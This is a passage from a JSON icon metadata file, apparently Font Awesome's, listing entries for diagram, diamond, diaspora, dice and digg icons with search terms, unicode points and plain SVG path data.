        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M448 416l0-64L64 352l0 64 384 0zm0 64L64 480c-35.3 0-64-28.7-64-64l0-64c0-35.3 28.7-64 64-64l384 0c35.3 0 64 28.7 64 64l0 64c0 35.3-28.7 64-64 64zM288 160c0 35.3-28.7 64-64 64L64 224c-35.3 0-64-28.7-64-64L0 96C0 60.7 28.7 32 64 32l144 0 16 0 144 0c44.2 0 80 35.8 80 80l0 16 38.1 0c21.4 0 32.1 25.9 17 41L433 239c-9.4 9.4-24.6 9.4-33.9 0L329 169c-15.1-15.1-4.4-41 17-41l38.1 0 0-16c0-8.8-7.2-16-16-16l-80 0 0 64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M448 416l0-64L64 352l0 64 384 0zm0 64L64 480c-35.3 0-64-28.7-64-64l0-64c0-35.3 28.7-64 64-64l384 0c35.3 0 64 28.7 64 64l0 64c0 35.3-28.7 64-64 64zM288 160c0 35.3-28.7 64-64 64L64 224c-35.3 0-64-28.7-64-64L0 96C0 60.7 28.7 32 64 32l144 0 16 0 144 0c44.2 0 80 35.8 80 80l0 16 38.1 0c21.4 0 32.1 25.9 17 41L433 239c-9.4 9.4-24.6 9.4-33.9 0L329 169c-15.1-15.1-4.4-41 17-41l38.1 0 0-16c0-8.8-7.2-16-16-16l-80 0 0 64z"
      }
    },
    "free": ["solid"]
  },
  "diagram-project": {
    "aliases": {
      "names": ["project-diagram"],
      "unicodes": {
        "secondary": ["10f542"]
      }
    },
    "changes": [
      "5.0.13",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["chart", "graph", "network", "pert"]
    },
    "styles": ["solid"],
    "unicode": "f542",
    "label": "Diagram Project",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767206,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M0 80C0 53.5 21.5 32 48 32h96c26.5 0 48 21.5 48 48V96H384V80c0-26.5 21.5-48 48-48h96c26.5 0 48 21.5 48 48v96c0 26.5-21.5 48-48 48H432c-26.5 0-48-21.5-48-48V160H192v16c0 1.7-.1 3.4-.3 5L272 288h96c26.5 0 48 21.5 48 48v96c0 26.5-21.5 48-48 48H272c-26.5 0-48-21.5-48-48V336c0-1.7 .1-3.4 .3-5L144 224H48c-26.5 0-48-21.5-48-48V80z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M0 80C0 53.5 21.5 32 48 32h96c26.5 0 48 21.5 48 48V96H384V80c0-26.5 21.5-48 48-48h96c26.5 0 48 21.5 48 48v96c0 26.5-21.5 48-48 48H432c-26.5 0-48-21.5-48-48V160H192v16c0 1.7-.1 3.4-.3 5L272 288h96c26.5 0 48 21.5 48 48v96c0 26.5-21.5 48-48 48H272c-26.5 0-48-21.5-48-48V336c0-1.7 .1-3.4 .3-5L144 224H48c-26.5 0-48-21.5-48-48V80z"
      }
    },
    "free": ["solid"]
  },
  "diagram-successor": {
    "changes": ["6.0.0-beta3", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "cells",
        "chart",
        "gantt",
        "next",
        "row",
        "subtask",
        "successor",
        "table"
      ]
    },
    "styles": ["solid"],
    "unicode": "e47a",
    "label": "Diagram Successor",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767205,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M512 416l0-64c0-35.3-28.7-64-64-64L64 288c-35.3 0-64 28.7-64 64l0 64c0 35.3 28.7 64 64 64l384 0c35.3 0 64-28.7 64-64zM64 160l0-64 144 0 16 0 0 64L64 160zm224 0l0-64 80 0c8.8 0 16 7.2 16 16l0 16-38.1 0c-21.4 0-32.1 25.9-17 41L399 239c9.4 9.4 24.6 9.4 33.9 0L503 169c15.1-15.1 4.4-41-17-41L448 128l0-16c0-44.2-35.8-80-80-80L224 32l-16 0L64 32C28.7 32 0 60.7 0 96l0 64c0 35.3 28.7 64 64 64l160 0c35.3 0 64-28.7 64-64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M512 416l0-64c0-35.3-28.7-64-64-64L64 288c-35.3 0-64 28.7-64 64l0 64c0 35.3 28.7 64 64 64l384 0c35.3 0 64-28.7 64-64zM64 160l0-64 144 0 16 0 0 64L64 160zm224 0l0-64 80 0c8.8 0 16 7.2 16 16l0 16-38.1 0c-21.4 0-32.1 25.9-17 41L399 239c9.4 9.4 24.6 9.4 33.9 0L503 169c15.1-15.1 4.4-41-17-41L448 128l0-16c0-44.2-35.8-80-80-80L224 32l-16 0L64 32C28.7 32 0 60.7 0 96l0 64c0 35.3 28.7 64 64 64l160 0c35.3 0 64-28.7 64-64z"
      }
    },
    "free": ["solid"]
  },
  "diamond": {
    "aliases": {
      "unicodes": {
        "composite": ["2666"],
        "secondary": ["10f219"]
      }
    },
    "changes": [
      "4.3.0",
      "5.0.0",
      "5.10.1",
      "5.10.2",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "card",
        "cards",
        "diamond suit",
        "game",
        "gem",
        "gemstone",
        "poker",
        "suit"
      ]
    },
    "styles": ["solid"],
    "unicode": "f219",
    "label": "Diamond",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767552,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M284.3 11.7c-15.6-15.6-40.9-15.6-56.6 0l-216 216c-15.6 15.6-15.6 40.9 0 56.6l216 216c15.6 15.6 40.9 15.6 56.6 0l216-216c15.6-15.6 15.6-40.9 0-56.6l-216-216z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M284.3 11.7c-15.6-15.6-40.9-15.6-56.6 0l-216 216c-15.6 15.6-15.6 40.9 0 56.6l216 216c15.6 15.6 40.9 15.6 56.6 0l216-216c15.6-15.6 15.6-40.9 0-56.6l-216-216z"
      }
    },
    "free": ["solid"]
  },
  "diamond-turn-right": {
    "aliases": {
      "names": ["directions"],
      "unicodes": {
        "secondary": ["10f5eb"]
      }
    },
    "changes": ["5.2.0", "5.11.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["map", "navigation", "sign", "turn"]
    },
    "styles": ["solid"],
    "unicode": "f5eb",
    "label": "Diamond Turn Right",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766331,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M227.7 11.7c15.6-15.6 40.9-15.6 56.6 0l216 216c15.6 15.6 15.6 40.9 0 56.6l-216 216c-15.6 15.6-40.9 15.6-56.6 0l-216-216c-15.6-15.6-15.6-40.9 0-56.6l216-216zm87.6 137c-4.6-4.6-11.5-5.9-17.4-3.5s-9.9 8.3-9.9 14.8v56H224c-35.3 0-64 28.7-64 64v48c0 13.3 10.7 24 24 24s24-10.7 24-24V280c0-8.8 7.2-16 16-16h64v56c0 6.5 3.9 12.3 9.9 14.8s12.9 1.1 17.4-3.5l80-80c6.2-6.2 6.2-16.4 0-22.6l-80-80z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M227.7 11.7c15.6-15.6 40.9-15.6 56.6 0l216 216c15.6 15.6 15.6 40.9 0 56.6l-216 216c-15.6 15.6-40.9 15.6-56.6 0l-216-216c-15.6-15.6-15.6-40.9 0-56.6l216-216zm87.6 137c-4.6-4.6-11.5-5.9-17.4-3.5s-9.9 8.3-9.9 14.8v56H224c-35.3 0-64 28.7-64 64v48c0 13.3 10.7 24 24 24s24-10.7 24-24V280c0-8.8 7.2-16 16-16h64v56c0 6.5 3.9 12.3 9.9 14.8s12.9 1.1 17.4-3.5l80-80c6.2-6.2 6.2-16.4 0-22.6l-80-80z"
      }
    },
    "free": ["solid"]
  },
  "diaspora": {
    "changes": ["5.6.0", "5.8.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f791",
    "label": "Diaspora",
    "voted": true,
    "svg": {
      "brands": {
        "last_modified": 1660014480,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M251.64 354.55c-1.4 0-88 119.9-88.7 119.9S76.34 414 76 413.25s86.6-125.7 86.6-127.4c0-2.2-129.6-44-137.6-47.1-1.3-.5 31.4-101.8 31.7-102.1.6-.7 144.4 47 145.5 47 .4 0 .9-.6 1-1.3.4-2 1-148.6 1.7-149.6.8-1.2 104.5-.7 105.1-.3 1.5 1 3.5 156.1 6.1 156.1 1.4 0 138.7-47 139.3-46.3.8.9 31.9 102.2 31.5 102.6-.9.9-140.2 47.1-140.6 48.8-.3 1.4 82.8 122.1 82.5 122.9s-85.5 63.5-86.3 63.5c-1-.2-89-125.5-90.9-125.5z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M251.64 354.55c-1.4 0-88 119.9-88.7 119.9S76.34 414 76 413.25s86.6-125.7 86.6-127.4c0-2.2-129.6-44-137.6-47.1-1.3-.5 31.4-101.8 31.7-102.1.6-.7 144.4 47 145.5 47 .4 0 .9-.6 1-1.3.4-2 1-148.6 1.7-149.6.8-1.2 104.5-.7 105.1-.3 1.5 1 3.5 156.1 6.1 156.1 1.4 0 138.7-47 139.3-46.3.8.9 31.9 102.2 31.5 102.6-.9.9-140.2 47.1-140.6 48.8-.3 1.4 82.8 122.1 82.5 122.9s-85.5 63.5-86.3 63.5c-1-.2-89-125.5-90.9-125.5z"
      }
    },
    "free": ["brands"]
  },
  "dice": {
    "aliases": {
      "unicodes": {
        "composite": ["1f3b2"],
        "secondary": ["10f522"]
      }
    },
    "changes": ["5.0.13", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["chance", "dice", "die", "gambling", "game", "game die", "roll"]
    },
    "styles": ["solid"],
    "unicode": "f522",
    "label": "Dice",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767070,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M274.9 34.3c-28.1-28.1-73.7-28.1-101.8 0L34.3 173.1c-28.1 28.1-28.1 73.7 0 101.8L173.1 413.7c28.1 28.1 73.7 28.1 101.8 0L413.7 274.9c28.1-28.1 28.1-73.7 0-101.8L274.9 34.3zM200 224a24 24 0 1 1 48 0 24 24 0 1 1 -48 0zM96 200a24 24 0 1 1 0 48 24 24 0 1 1 0-48zM224 376a24 24 0 1 1 0-48 24 24 0 1 1 0 48zM352 200a24 24 0 1 1 0 48 24 24 0 1 1 0-48zM224 120a24 24 0 1 1 0-48 24 24 0 1 1 0 48zm96 328c0 35.3 28.7 64 64 64H576c35.3 0 64-28.7 64-64V256c0-35.3-28.7-64-64-64H461.7c11.6 36 3.1 77-25.4 105.5L320 413.8V448zM480 328a24 24 0 1 1 0 48 24 24 0 1 1 0-48z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M274.9 34.3c-28.1-28.1-73.7-28.1-101.8 0L34.3 173.1c-28.1 28.1-28.1 73.7 0 101.8L173.1 413.7c28.1 28.1 73.7 28.1 101.8 0L413.7 274.9c28.1-28.1 28.1-73.7 0-101.8L274.9 34.3zM200 224a24 24 0 1 1 48 0 24 24 0 1 1 -48 0zM96 200a24 24 0 1 1 0 48 24 24 0 1 1 0-48zM224 376a24 24 0 1 1 0-48 24 24 0 1 1 0 48zM352 200a24 24 0 1 1 0 48 24 24 0 1 1 0-48zM224 120a24 24 0 1 1 0-48 24 24 0 1 1 0 48zm96 328c0 35.3 28.7 64 64 64H576c35.3 0 64-28.7 64-64V256c0-35.3-28.7-64-64-64H461.7c11.6 36 3.1 77-25.4 105.5L320 413.8V448zM480 328a24 24 0 1 1 0 48 24 24 0 1 1 0-48z"
      }
    },
    "free": ["solid"]
  },
  "dice-d20": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f6cf"]
      }
    },
    "changes": ["5.4.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "Dungeons & Dragons",
        "chance",
        "d&d",
        "dnd",
        "fantasy",
        "gambling",
        "game",
        "roll"
      ]
    },
    "styles": ["solid"],
    "unicode": "f6cf",
    "label": "Dice D20",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767070,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M48.7 125.8l53.2 31.9c7.8 4.7 17.8 2 22.2-5.9L201.6 12.1c3-5.4-.9-12.1-7.1-12.1c-1.6 0-3.2 .5-4.6 1.4L47.9 98.8c-9.6 6.6-9.2 20.9 .8 26.9zM16 171.7V295.3c0 8 10.4 11 14.7 4.4l60-92c5-7.6 2.6-17.8-5.2-22.5L40.2 158C29.6 151.6 16 159.3 16 171.7zM310.4 12.1l77.6 139.6c4.4 7.9 14.5 10.6 22.2 5.9l53.2-31.9c10-6 10.4-20.3 .8-26.9L322.1 1.4c-1.4-.9-3-1.4-4.6-1.4c-6.2 0-10.1 6.7-7.1 12.1zM496 171.7c0-12.4-13.6-20.1-24.2-13.7l-45.3 27.2c-7.8 4.7-10.1 14.9-5.2 22.5l60 92c4.3 6.7 14.7 3.6 14.7-4.4V171.7zm-49.3 246L286.1 436.6c-8.1 .9-14.1 7.8-14.1 15.9v52.8c0 3.7 3 6.8 6.8 6.8c.8 0 1.6-.1 2.4-.4l172.7-64c6.1-2.2 10.1-8 10.1-14.5c0-9.3-8.1-16.5-17.3-15.4zM233.2 512c3.7 0 6.8-3 6.8-6.8V452.6c0-8.1-6.1-14.9-14.1-15.9l-160.6-19c-9.2-1.1-17.3 6.1-17.3 15.4c0 6.5 4 12.3 10.1 14.5l172.7 64c.8 .3 1.6 .4 2.4 .4zM41.7 382.9l170.9 20.2c7.8 .9 13.4-7.5 9.5-14.3l-85.7-150c-5.9-10.4-20.7-10.8-27.3-.8L30.2 358.2c-6.5 9.9-.3 23.3 11.5 24.7zm439.6-24.8L402.9 238.1c-6.5-10-21.4-9.6-27.3 .8L290.2 388.5c-3.9 6.8 1.6 15.2 9.5 14.3l170.1-20c11.8-1.4 18-14.7 11.5-24.6zm-216.9 11l78.4-137.2c6.1-10.7-1.6-23.9-13.9-23.9H183.1c-12.3 0-20 13.3-13.9 23.9l78.4 137.2c3.7 6.4 13 6.4 16.7 0zM174.4 176H337.6c12.2 0 19.9-13.1 14-23.8l-80-144c-2.8-5.1-8.2-8.2-14-8.2h-3.2c-5.8 0-11.2 3.2-14 8.2l-80 144c-5.9 10.7 1.8 23.8 14 23.8z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M48.7 125.8l53.2 31.9c7.8 4.7 17.8 2 22.2-5.9L201.6 12.1c3-5.4-.9-12.1-7.1-12.1c-1.6 0-3.2 .5-4.6 1.4L47.9 98.8c-9.6 6.6-9.2 20.9 .8 26.9zM16 171.7V295.3c0 8 10.4 11 14.7 4.4l60-92c5-7.6 2.6-17.8-5.2-22.5L40.2 158C29.6 151.6 16 159.3 16 171.7zM310.4 12.1l77.6 139.6c4.4 7.9 14.5 10.6 22.2 5.9l53.2-31.9c10-6 10.4-20.3 .8-26.9L322.1 1.4c-1.4-.9-3-1.4-4.6-1.4c-6.2 0-10.1 6.7-7.1 12.1zM496 171.7c0-12.4-13.6-20.1-24.2-13.7l-45.3 27.2c-7.8 4.7-10.1 14.9-5.2 22.5l60 92c4.3 6.7 14.7 3.6 14.7-4.4V171.7zm-49.3 246L286.1 436.6c-8.1 .9-14.1 7.8-14.1 15.9v52.8c0 3.7 3 6.8 6.8 6.8c.8 0 1.6-.1 2.4-.4l172.7-64c6.1-2.2 10.1-8 10.1-14.5c0-9.3-8.1-16.5-17.3-15.4zM233.2 512c3.7 0 6.8-3 6.8-6.8V452.6c0-8.1-6.1-14.9-14.1-15.9l-160.6-19c-9.2-1.1-17.3 6.1-17.3 15.4c0 6.5 4 12.3 10.1 14.5l172.7 64c.8 .3 1.6 .4 2.4 .4zM41.7 382.9l170.9 20.2c7.8 .9 13.4-7.5 9.5-14.3l-85.7-150c-5.9-10.4-20.7-10.8-27.3-.8L30.2 358.2c-6.5 9.9-.3 23.3 11.5 24.7zm439.6-24.8L402.9 238.1c-6.5-10-21.4-9.6-27.3 .8L290.2 388.5c-3.9 6.8 1.6 15.2 9.5 14.3l170.1-20c11.8-1.4 18-14.7 11.5-24.6zm-216.9 11l78.4-137.2c6.1-10.7-1.6-23.9-13.9-23.9H183.1c-12.3 0-20 13.3-13.9 23.9l78.4 137.2c3.7 6.4 13 6.4 16.7 0zM174.4 176H337.6c12.2 0 19.9-13.1 14-23.8l-80-144c-2.8-5.1-8.2-8.2-14-8.2h-3.2c-5.8 0-11.2 3.2-14 8.2l-80 144c-5.9 10.7 1.8 23.8 14 23.8z"
      }
    },
    "free": ["solid"]
  },
  "dice-d6": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f6d1"]
      }
    },
    "changes": ["5.4.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "Dungeons & Dragons",
        "chance",
        "d&d",
        "dnd",
        "fantasy",
        "gambling",
        "game",
        "roll"
      ]
    },
    "styles": ["solid"],
    "unicode": "f6d1",
    "label": "Dice D6",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767070,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M201 10.3c14.3-7.8 31.6-7.8 46 0L422.3 106c5.1 2.8 8.3 8.2 8.3 14s-3.2 11.2-8.3 14L231.7 238c-4.8 2.6-10.5 2.6-15.3 0L25.7 134c-5.1-2.8-8.3-8.2-8.3-14s3.2-11.2 8.3-14L201 10.3zM23.7 170l176 96c5.1 2.8 8.3 8.2 8.3 14V496c0 5.6-3 10.9-7.8 13.8s-10.9 3-15.8 .3L25 423.1C9.6 414.7 0 398.6 0 381V184c0-5.6 3-10.9 7.8-13.8s10.9-3 15.8-.3zm400.7 0c5-2.7 11-2.6 15.8 .3s7.8 8.1 7.8 13.8V381c0 17.6-9.6 33.7-25 42.1L263.7 510c-5 2.7-11 2.6-15.8-.3s-7.8-8.1-7.8-13.8V280c0-5.9 3.2-11.2 8.3-14l176-96z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M201 10.3c14.3-7.8 31.6-7.8 46 0L422.3 106c5.1 2.8 8.3 8.2 8.3 14s-3.2 11.2-8.3 14L231.7 238c-4.8 2.6-10.5 2.6-15.3 0L25.7 134c-5.1-2.8-8.3-8.2-8.3-14s3.2-11.2 8.3-14L201 10.3zM23.7 170l176 96c5.1 2.8 8.3 8.2 8.3 14V496c0 5.6-3 10.9-7.8 13.8s-10.9 3-15.8 .3L25 423.1C9.6 414.7 0 398.6 0 381V184c0-5.6 3-10.9 7.8-13.8s10.9-3 15.8-.3zm400.7 0c5-2.7 11-2.6 15.8 .3s7.8 8.1 7.8 13.8V381c0 17.6-9.6 33.7-25 42.1L263.7 510c-5 2.7-11 2.6-15.8-.3s-7.8-8.1-7.8-13.8V280c0-5.9 3.2-11.2 8.3-14l176-96z"
      }
    },
    "free": ["solid"]
  },
  "dice-five": {
    "aliases": {
      "unicodes": {
        "composite": ["2684"],
        "secondary": ["10f523"]
      }
    },
    "changes": ["5.0.13", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Die Face-5", "chance", "gambling", "game", "roll"]
    },
    "styles": ["solid"],
    "unicode": "f523",
    "label": "Dice Five",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767071,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zm64 96a32 32 0 1 1 0 64 32 32 0 1 1 0-64zM96 352a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zM224 224a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm64-64a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm32 160a32 32 0 1 1 0 64 32 32 0 1 1 0-64z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zm64 96a32 32 0 1 1 0 64 32 32 0 1 1 0-64zM96 352a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zM224 224a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm64-64a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm32 160a32 32 0 1 1 0 64 32 32 0 1 1 0-64z"
      }
    },
    "free": ["solid"]
  },
  "dice-four": {
    "aliases": {
      "unicodes": {
        "composite": ["2683"],
        "secondary": ["10f524"]
      }
    },
    "changes": ["5.0.13", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Die Face-4", "chance", "gambling", "game", "roll"]
    },
    "styles": ["solid"],
    "unicode": "f524",
    "label": "Dice Four",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767070,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M0 96C0 60.7 28.7 32 64 32H384c35.3 0 64 28.7 64 64V416c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V96zm160 64a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zM128 384a32 32 0 1 0 0-64 32 32 0 1 0 0 64zM352 160a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zM320 384a32 32 0 1 0 0-64 32 32 0 1 0 0 64z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M0 96C0 60.7 28.7 32 64 32H384c35.3 0 64 28.7 64 64V416c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V96zm160 64a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zM128 384a32 32 0 1 0 0-64 32 32 0 1 0 0 64zM352 160a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zM320 384a32 32 0 1 0 0-64 32 32 0 1 0 0 64z"
      }
    },
    "free": ["solid"]
  },
  "dice-one": {
    "aliases": {
      "unicodes": {
        "composite": ["2680"],
        "secondary": ["10f525"]
      }
    },
    "changes": ["5.0.13", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Die Face-1", "chance", "gambling", "game", "roll"]
    },
    "styles": ["solid"],
    "unicode": "f525",
    "label": "Dice One",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767070,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zM224 224a32 32 0 1 1 0 64 32 32 0 1 1 0-64z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zM224 224a32 32 0 1 1 0 64 32 32 0 1 1 0-64z"
      }
    },
    "free": ["solid"]
  },
  "dice-six": {
    "aliases": {
      "unicodes": {
        "composite": ["2685"],
        "secondary": ["10f526"]
      }
    },
    "changes": ["5.0.13", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Die Face-6", "chance", "gambling", "game", "roll"]
    },
    "styles": ["solid"],
    "unicode": "f526",
    "label": "Dice Six",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767070,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M0 96C0 60.7 28.7 32 64 32H384c35.3 0 64 28.7 64 64V416c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V96zm160 64a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zM128 288a32 32 0 1 0 0-64 32 32 0 1 0 0 64zm32 64a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zM320 192a32 32 0 1 0 0-64 32 32 0 1 0 0 64zm32 64a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zM320 384a32 32 0 1 0 0-64 32 32 0 1 0 0 64z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M0 96C0 60.7 28.7 32 64 32H384c35.3 0 64 28.7 64 64V416c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V96zm160 64a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zM128 288a32 32 0 1 0 0-64 32 32 0 1 0 0 64zm32 64a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zM320 192a32 32 0 1 0 0-64 32 32 0 1 0 0 64zm32 64a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zM320 384a32 32 0 1 0 0-64 32 32 0 1 0 0 64z"
      }
    },
    "free": ["solid"]
  },
  "dice-three": {
    "aliases": {
      "unicodes": {
        "composite": ["2682"],
        "secondary": ["10f527"]
      }
    },
    "changes": ["5.0.13", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Die Face-3", "chance", "gambling", "game", "roll"]
    },
    "styles": ["solid"],
    "unicode": "f527",
    "label": "Dice Three",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767071,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zm64 96a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm64 128a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm128 64a32 32 0 1 1 0 64 32 32 0 1 1 0-64z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zm64 96a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm64 128a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm128 64a32 32 0 1 1 0 64 32 32 0 1 1 0-64z"
      }
    },
    "free": ["solid"]
  },
  "dice-two": {
    "aliases": {
      "unicodes": {
        "composite": ["2681"],
        "secondary": ["10f528"]
      }
    },
    "changes": ["5.0.13", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Die Face-2", "chance", "gambling", "game", "roll"]
    },
    "styles": ["solid"],
    "unicode": "f528",
    "label": "Dice Two",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767071,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M0 96C0 60.7 28.7 32 64 32H384c35.3 0 64 28.7 64 64V416c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V96zM352 352a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zM128 192a32 32 0 1 0 0-64 32 32 0 1 0 0 64z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M0 96C0 60.7 28.7 32 64 32H384c35.3 0 64 28.7 64 64V416c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V96zM352 352a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zM128 192a32 32 0 1 0 0-64 32 32 0 1 0 0 64z"
      }
    },
    "free": ["solid"]
  },
  "digg": {
    "changes": ["4.1.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f1a6",
    "label": "Digg Logo",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014468,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M81.7 172.3H0v174.4h132.7V96h-51v76.3zm0 133.4H50.9v-92.3h30.8v92.3zm297.2-133.4v174.4h81.8v28.5h-81.8V416H512V172.3H378.9zm81.8 133.4h-30.8v-92.3h30.8v92.3zm-235.6 41h82.1v28.5h-82.1V416h133.3V172.3H225.1v174.4zm51.2-133.3h30.8v92.3h-30.8v-92.3zM153.3 96h51.3v51h-51.3V96zm0 76.3h51.3v174.4h-51.3V172.3z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
